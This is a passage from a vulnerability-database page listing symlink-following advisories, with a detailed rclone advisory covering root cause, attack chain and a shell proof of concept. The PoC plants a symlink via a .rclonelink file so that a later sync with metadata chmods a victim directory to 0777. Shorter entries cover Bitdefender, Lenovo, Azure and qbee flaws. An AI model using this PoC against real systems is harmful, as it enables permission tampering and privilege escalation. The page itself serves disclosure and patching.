  • MkdirMetadata skip branch: os.Lstat succeeds on planted symlink → errors.Is(err, os.ErrNotExist) false at local.go:896 → guarded f.Mkdir skipped.
  • Real fs/sync.Sync E2E on HEAD: TestDirMetadataThroughPlantedSymlink (outside dir → 0777), TestDirSetModTimeThroughPlantedSymlink (mtime set, default-on), TestE2E_TwoRunBackup (backdated outside target while content-copy blocked by os.Root). All PASS. Control TestControl_ContentWriteBlocked confirms harness fidelity.

Affected Versions

<= 1.75.0. Vulnerable code present on latest release tag v1.75.0 and HEAD (5629f26); git log v1.75.0..HEAD -- backend/local/metadata.go backend/local/local.go is empty (no post-release fix).

Suggested Fix

Route directory metadata through os.Root when TranslateSymlinks is set (use fchmodat(AT_SYMLINK_NOFOLLOW)/Lchown/UtimesNanoAt(AT_SYMLINK_NOFOLLOW) on the rel path within the root), and/or extend MkdirMetadata to detect that the pre-existing destination path is a symlink and refuse to apply following-metadata — mirroring the CVE-2024-52522 NOFOLLOW branch that currently exists only for translatedLink objects.

Reported by zx (Jace) — GitHub: @manus-use

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.75.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/rclone/rclone"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.75.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-88016"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59",
      "CWE-281"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-10T22:51:34Z",
    "nvd_published_at": "2026-09-10T16:18:08Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nWith `-l/--links`, rclone\u0027s local backend recreates a source `.rclonelink` object as a real symlink at the destination **verbatim** (preserved by design for faithful backups). Directory-metadata application, however, does **not** go through the `os.Root` sandbox and does **not** use NOFOLLOW syscalls. A local `Directory` always has `translatedLink=false`, so when the destination path already exists as a planted symlink, rclone applies `chmod`/`chown`/`chtimes` **through** that symlink to a target **outside** the destination tree. An attacker who controls the source contents (malicious/compromised remote, shared bucket) obtains attacker-valued `chmod`/`chown`/`chtimes` of an arbitrary path outside the backup destination.\n\n## Root Cause\n- `MkdirMetadata` (`backend/local/local.go:895`) calls `f.lstat` (=`os.Lstat`, local.go:465) on the destination path. On a pre-planted symlink, `os.Lstat` succeeds, so the `errors.Is(err, os.ErrNotExist)` branch (local.go:896) that would create a real directory via the `os.Root`-guarded `f.Mkdir` is **not** taken. Instead a `Directory` is built directly on the symlink path.\n- `writeMetadataToFile` runs raw `os.Chown` (`backend/local/metadata.go:131`) and `os.Chmod` (`metadata.go:158`); `setTimes` runs raw `os.Chtimes` (`backend/local/local.go:1318`).\n- The CVE-2024-52522 NOFOLLOW fix (`os.Lchown`/`lChmod`/`lChtimes`) is gated on `if o.translatedLink` (metadata.go:128/150, local.go:1315). A `Directory` (`newDirectory`\u2192`newObject` with no `.rclonelink` suffix) is never `translatedLink`, so it always takes the raw *following* branch. The CVE-2026-54572 `os.Root` fix covers only content **writes**, not metadata syscalls.\n\n## Impact\nAttacker-controlled `chmod`/`chown`/`chtimes` (values taken from the source directory\u0027s mode/uid/gid/mtime) applied to any file or directory **outside** the destination. `chtimes` (mtime) escape works with just `--links` and default flags; `chmod`/`chown` escape additionally needs `--metadata`. When rclone runs as root with `--metadata` and a source `uid=0`, the `chown` primitive reaches the CVE-2024-52522 privilege-escalation ceiling (take ownership of an out-of-tree path).\n\n## Proof of Concept\n```\nmkdir -p /src /dest\n# run 1: source object pwn.rclonelink whose body = /home/victim/secret.d\nprintf \u0027/home/victim/secret.d\u0027 \u003e /src/pwn.rclonelink\nrclone sync --links /src /dest              # plants /dest/pwn -\u003e /home/victim/secret.d\n# attacker swaps source pwn to a real directory with chosen metadata:\nrm /src/pwn.rclonelink ; mkdir -p /src/pwn/keep ; chmod 777 /src/pwn\nrclone sync --links --metadata /src /dest   # MkdirMetadata sees /dest/pwn exists (symlink) -\u003e\n                                            # chmod 0777 applied THROUGH it to /home/victim/secret.d\nls -ld /home/victim/secret.d                # =\u003e drwxrwxrwx  (outside dir, attacker-chosen mode)\n```\nA single-run PoC is achievable against directory-based object sources (drive/onedrive-class) that satisfy both `ReadDirMetadata` and `CanHaveEmptyDirectories` and can present `pwn.rclonelink` and `pwn/` simultaneously. Local\u2192local uses the two-run backup model (same repeated-backup model as CVE-2024-52522 and CVE-2026-54572). Verified end-to-end against the real `fs/sync.Sync` engine on HEAD: the two-run backup backdated the outside target\u0027s mtime and chmod\u0027d it 0777 while os.Root correctly blocked the content-copy of `pwn/keep` \u2014 isolating the metadata gap.\n\n## Attack Chain\n1. **Entry.** Victim runs `rclone copy`/`sync --links [--metadata] \u003cuntrusted-remote\u003e: /dest`. Attacker controls source contents.\n   - Guard: none \u2014 `--links` copying an untrusted remote is a documented, supported operation.\n2. **Plant symlink.** Source serves `pwn.rclonelink` with body = absolute outside path; rclone recreates `dst/pwn` \u2192 outside.\n   - Guard: `Fs.symlink` routes creation through `os.Root.Symlink` (local.go:~1552).\n   - Bypass proof: `os.Root` creates the link **verbatim by design** (commit 1154afe); the upstream `os.Root` fix\u0027s test `TestSymlinkEscapeWriteThroughBlocked` confirms only write-*through* is refused, the link is planted.\n3. **Deferred dir-metadata fires after transfers.** Source presents non-empty dir `pwn`; `setDelayedDirModTimes` (sync.go:1002) runs strictly after `stopTransfers()` (sync.go:988) \u2014 after the symlink is planted.\n   - Guard: `MkdirMetadata` would create a real dir via os.Root-guarded `f.Mkdir` (local.go:897) inside its `errors.Is(err, os.ErrNotExist)` branch.\n   - Bypass proof: `os.Lstat` (local.go:465) on the existing symlink returns success, so the `ErrNotExist` branch (local.go:896) is NOT taken; `f.Mkdir`/os.Root never runs. Empirically `os.IsNotExist(err)=false` for the planted symlink.\n4. **Sink follows the symlink.** `CopyDirMetadata`\u2192`MkdirMetadata`\u2192`writeMetadataToFile` runs `os.Chown`/`os.Chmod` (metadata.go:131/158); `DirSetModTime`\u2192`setTimes` runs `os.Chtimes` (local.go:1318) \u2014 all on `o.path=\"dst/pwn\"` with `translatedLink=false`.\n   - Guard: CVE-2024-52522 NOFOLLOW branch (`os.Lchown`/`lChmod`/`lChtimes`).\n   - Bypass proof: that branch is gated on `if o.translatedLink` (metadata.go:128/150, local.go:1315); a `Directory` always has `translatedLink=false`, so the raw following branch runs. POSIX-confirmed: `chmod 777`/`touch` on a symlink path change the *target\u0027s* mode/mtime.\n5. **Impact.** `chmod`/`chown`/`chtimes` on an attacker-chosen path outside the destination, with attacker-controlled values.\n\n## Bypass Evidence\n- `if o.translatedLink` gates verified verbatim on v1.75.0 at metadata.go:128/150 and local.go:1315; `os.Chown`/`os.Chmod`/`os.Chtimes` on the else branch at metadata.go:131/158 and local.go:1318.\n- `newDirectory`\u2192`newObject` (local.go:581/589/596) never sets the `.rclonelink` suffix \u2192 `translatedLink=false` for all directories.\n- `MkdirMetadata` skip branch: `os.Lstat` succeeds on planted symlink \u2192 `errors.Is(err, os.ErrNotExist)` false at local.go:896 \u2192 guarded `f.Mkdir` skipped.\n- Real `fs/sync.Sync` E2E on HEAD: `TestDirMetadataThroughPlantedSymlink` (outside dir \u2192 0777), `TestDirSetModTimeThroughPlantedSymlink` (mtime set, default-on), `TestE2E_TwoRunBackup` (backdated outside target while content-copy blocked by os.Root). All PASS. Control `TestControl_ContentWriteBlocked` confirms harness fidelity.\n\n## Affected Versions\n`\u003c= 1.75.0`. Vulnerable code present on latest release tag v1.75.0 and HEAD (5629f26); `git log v1.75.0..HEAD -- backend/local/metadata.go backend/local/local.go` is empty (no post-release fix).\n\n## Suggested Fix\nRoute directory metadata through `os.Root` when `TranslateSymlinks` is set (use `fchmodat(AT_SYMLINK_NOFOLLOW)`/`Lchown`/`UtimesNanoAt(AT_SYMLINK_NOFOLLOW)` on the `rel` path within the root), and/or extend `MkdirMetadata` to detect that the pre-existing destination path is a symlink and refuse to apply following-metadata \u2014 mirroring the CVE-2024-52522 NOFOLLOW branch that currently exists only for `translatedLink` objects.\n\n---\nReported by **zx (Jace)** \u2014 GitHub: @manus-use",
  "id": "GHSA-f8g7-2xjc-7mfh",
  "modified": "2026-09-10T22:51:34Z",
  "published": "2026-09-10T22:51:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/security/advisories/GHSA-f8g7-2xjc-7mfh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88016"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/commit/17b0c03338a857bcb0a68d2d4c82ddbdec3f7893"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/commit/a7ab39d3d1958afa1446982c1dc4e4a73a887e3e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rclone/rclone"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/releases/tag/v1.75.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "rclone: Directory metadata (chmod/chown/chtimes) applied through a planted symlink in rclone local --links escapes the destination"
}

GHSA-F943-XHH7-7C5G

Vulnerability from github – Published: 2026-07-14 09:31 – Updated: 2026-08-12 18:31
VLAI
Details

An Improper link resolution before file access ('link following') vulnerability in the File Shredder module as used in Bitdefender Total Security and Internet Security on Windows allows a less-privileged local user to elevate rights by leveraging a race conditions via Symbolic Links.

This issue affects Total Security: before 27.0.58.315; Internet Security: before 27.0.58.315.

Severity
7.0 (High)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
7.0 (High)
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-6851"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T08:16:24Z",
    "severity": "HIGH"
  },
  "details": "An Improper link resolution before file access (\u0027link following\u0027) vulnerability in the File Shredder module as used in Bitdefender Total Security and Internet Security on Windows allows a less-privileged local user to elevate rights by leveraging a race conditions via Symbolic Links.\n\nThis issue affects Total Security: before 27.0.58.315; Internet Security: before 27.0.58.315.",
  "id": "GHSA-f943-xhh7-7c5g",
  "modified": "2026-08-12T18:31:01Z",
  "published": "2026-07-14T09:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6851"
    },
    {
      "type": "WEB",
      "url": "https://www.bitdefender.com/support/security-advisories/improper-link-resolution-before-file-access-via-link-following-va-13681"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-F95J-CWMR-FQW7

Vulnerability from github – Published: 2026-08-13 15:34 – Updated: 2026-08-13 15:34
VLAI
Details

An improper link following vulnerability was reported in the VantageCoreAddin for Lenovo Vantage and Lenovo Commercial Vantage that could allow a local authenticated user to perform an arbitrary file deletion with elevated privileges.

Severity
7.1 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
6.9 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-12036"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-13T15:19:28Z",
    "severity": "MODERATE"
  },
  "details": "An improper link following vulnerability was reported in the VantageCoreAddin for Lenovo Vantage and Lenovo Commercial Vantage that could allow a local authenticated user to perform an arbitrary file deletion with elevated privileges.",
  "id": "GHSA-f95j-cwmr-fqw7",
  "modified": "2026-08-13T15:34:41Z",
  "published": "2026-08-13T15:34:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12036"
    },
    {
      "type": "WEB",
      "url": "https://support.lenovo.com/us/en/product_security/LEN-223723"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-F98H-4X3R-HGHQ

Vulnerability from github – Published: 2024-05-17 00:31 – Updated: 2024-05-17 00:31
VLAI
Details

Azure Monitor Agent Elevation of Privilege Vulnerability

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-30060"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-16T23:15:49Z",
    "severity": "HIGH"
  },
  "details": "Azure Monitor Agent Elevation of Privilege Vulnerability",
  "id": "GHSA-f98h-4x3r-hghq",
  "modified": "2024-05-17T00:31:00Z",
  "published": "2024-05-17T00:31:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30060"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-30060"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F9M7-VC86-P6JJ

Vulnerability from github – Published: 2026-06-19 21:15 – Updated: 2026-06-19 21:15
VLAI
Summary
go.qbee.io/transport: Symlink-chain path traversal in tar extraction (one level outside destination)
Details

Impact

The go.qbee.io/transport library is affected by a symlink-chain path traversal vulnerability in its extractTar routine. The library's path validation is strictly lexical and fails to account for on-disk symlinks created earlier in the extraction process. Consequently, a crafted tar archive can be used to write or overwrite files one directory level above the intended extraction path. In the case of qbee-agent, which runs with root privileges, this vulnerability permits a root-privileged file write outside the intended destination.

Patches

The issue has been addressed in version v1.26.25

Severity
6.0 (Medium)
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.qbee.io/transport"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.26.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55828"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:15:31Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThe go.qbee.io/transport library is affected by a symlink-chain path traversal vulnerability in its extractTar routine. The library\u0027s path validation is strictly lexical and fails to account for on-disk symlinks created earlier in the extraction process. Consequently, a crafted tar archive can be used to write or overwrite files one directory level above the intended extraction path. In the case of qbee-agent, which runs with root privileges, this vulnerability permits a root-privileged file write outside the intended destination.\n\n### Patches\n\nThe issue has been addressed in version v1.26.25",
  "id": "GHSA-f9m7-vc86-p6jj",
  "modified": "2026-06-19T21:15:31Z",
  "published": "2026-06-19T21:15:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/qbee-io/transport/security/advisories/GHSA-f9m7-vc86-p6jj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/qbee-io/transport"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "go.qbee.io/transport: Symlink-chain path traversal in tar extraction (one level outside destination)"
}
Mitigation MIT-48.1
Architecture and Design

Strategy: Separation of Privilege

  • Follow the principle of least privilege when assigning access rights to entities in a software system.
  • Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
CAPEC-132: Symlink Attack

An adversary positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name.

CAPEC-17: Using Malicious Files

An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

← Back to the CWE list